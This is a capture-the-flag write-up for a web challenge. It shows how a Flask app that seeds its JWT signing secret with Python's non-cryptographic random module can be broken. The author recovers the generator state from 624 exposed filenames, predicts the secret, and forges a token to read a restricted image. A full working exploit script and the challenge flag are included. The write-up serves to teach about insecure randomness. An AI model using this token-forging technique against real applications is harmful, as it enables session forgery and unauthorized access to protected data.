Challenge
- CTF:
DaVinciCTF 2025
- Website:
https://dvc.tf/
- Title:
LouvreArchives
- Category:
Web
- Difficulty:
Medium
- Description:
Deep beneath the Louvre Museum, a restricted archive holds the portraits of 650 historical figures, each stored away from public eyes. Only those with the right credentials may view them. Your credentials grant you access to only one portrait, but the rest remain hidden.
Objective : View the flag.webp image.
- Connection:
http://chall.dvc.tf:10020/
This challenge revolves around the ability to forge valid cookies once obtained the secret used by the application to sign them. The exploit leverages the possibility of predicting random patterns when non-cryptographically secure functions are used to generate numbers. After that, the way towards the flag is a matter of interactions with the platform.
Analysis
Visiting the page, nothing stands up:

Inspecting the page source reveals nothing of interest, so we dive straight into the provided code.
The application is a Flask
instance, serving images via randomized filenames:
def generate_random_filename():
rdn = random.getrandbits(32)
return f"{rdn}.webp"
image_list = [generate_random_filename() for _ in range(650)]
The path of the file to serve is specified within a JWT cookie defined like so:
def generate_jwt():
payload = {
'sub': 'user_id',
'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1),
'iat': datetime.datetime.utcnow(),
'profilepicture': f'./images/image.webp' # image to serve
}
header = {
'alg': 'HS256',
'typ': 'JWT'
}
token = jwt.encode(
payload,
app.config['SECRET_KEY'],
algorithm='HS256',
headers=header
)
return token
The SECRET_KEY
is also randomly generated, right after the image list:
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.getrandbits(32))
The reminder of the application handles the verification of the JWT cookie, the landing page and the incoding of the image to serve. It also provides a useful endpoint to get a list of the randomly generated image names:
@app.route('/images', methods=['GET'])
def get_all_images():
return jsonify({'images': image_list})
Vulnerability
The vulnerability lies within using the function getrandbits(32)
to generate both the image list and the application secret, in subsequent order.
As stated in the Python Documentation, the generators within the random
module are not to be used for security purposes. Clearly, generating an application secret for cookie signing is definitely a security purpose.
Finally, the lack of server side validation on the image path value grants the attacker the ability to access any image resource once predicted the application secret.
Exploit
To reconstruct the pseudo-random sequence, we can use the randcrack tool. As explained in the Github page, the cracker requires 624 values to synchronize its internal state with the original sequence generator. After that, it’s ready for prediction.
The first step of the exploit is then to retrieve the original sequence from the /images
endpoint found above, and feed the sequence to the cracker instance:
url = 'http://chall.dvc.tf:10020/'
# get random list
response = requests.get(f'{url}images')
if not response.status_code == 200:
exit(1)
images = response.json()['images']
randoms = [int(x.split('.webp')[0]) for x in images]
# feed the randcrack
cracker = randcrack.RandCrack()
for r in randoms[:624]:
cracker.submit(r)
Since the secret is originally generated after 650 random values, the next step is to make the cracker predict 26 numbers. After that, we can retrieve the application secret as the 27th prediction:
for i in range(26):
cracker.predict_getrandbits(32)
# predict secret
secret = str(cracker.predict_getrandbits(32))
The final step is a matter of forging a valid JWT containing the desidered path ./images/flag.webp
and requesting the root page with that cookie:
payload = {
'sub': 'user_id',
'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1),
'iat': datetime.datetime.utcnow(),
'profilepicture': f'./images/flag.webp'
}
header = {
'alg': 'HS256',
'typ': 'JWT'
}
token = jwt.encode(
payload,
secret,
algorithm='HS256',
headers=header
)
# retrieve the image
cookies = {'token': token}
response = requests.get(url, cookies=cookies)
if not response.status_code == 200:
exit(2)
print(response.text)
To actually see the flag image, I opted for a simple approach, saving the response from the application in a .html
file and serving it locally:
$ python exploit.py > output.html
$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Then via the browser:

The tinkering approach is to use OCR and let the script read the flag for us.
Code
Here’s the complete exploit to obtain the flag:
import requests
import randcrack
import datetime
import jwt
url = 'http://chall.dvc.tf:10020/'
# get random list
response = requests.get(f'{url}images')
if not response.status_code == 200:
exit(1)
images = response.json()['images']
randoms = [int(x.split('.webp')[0]) for x in images]
# feed the randcrack
cracker = randcrack.RandCrack()
for r in randoms[:624]:
cracker.submit(r)
for i in range(26):
cracker.predict_getrandbits(32)
# predict secret
secret = str(cracker.predict_getrandbits(32))
# build the jwt
payload = {
'sub': 'user_id',
'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1),
'iat': datetime.datetime.utcnow(),
'profilepicture': f'./images/flag.webp'
}
header = {
'alg': 'HS256',
'typ': 'JWT'
}
token = jwt.encode(
payload,
secret,
algorithm='HS256',
headers=header
)
# retrieve the image
cookies = {'token': token}
response = requests.get(url, cookies=cookies)
if not response.status_code == 200:
exit(2)
print(response.text)
# DVCTF{Ev3n_M0n4_doesnt_TrUsT_R4nd0m}
And just for fun, a little script implementing OCR to read the flag from the image saved locally:
from PIL import Image
import pyocr
import re
from base64 import b64decode
page = 'output.html'
image = 'flag.img'
# extract image from .html page
with open(page, 'r') as f:
content = f.read()
encoded_image = re.findall(r'base64,([^"]+)"', content)[0]
# save image locally
with open(image, 'wb') as f:
f.write(b64decode(encoded_image))
# read the flag
ocr = pyocr.get_available_tools()[0]
flag = ocr.image_to_string(Image.open(image))
print(flag)
# DVCTF{Ev3n_MOn4_doesnt_TrUsT_R4nd0m}
The supported OCR tools are listed in the PyOCR Documentation.
Conclusion
The challenge was actually very feasible, definitely not as tough as other ‘Medium Difficulty’ challenges.
Putting together a simple, clear, efficient Python exploit is always satisfactory, the additional OCR scripting contributed to the overall appreciation.
Finally, I enjoyed the theme of the challenge showcasing the attack chain originating from coding security overlooks.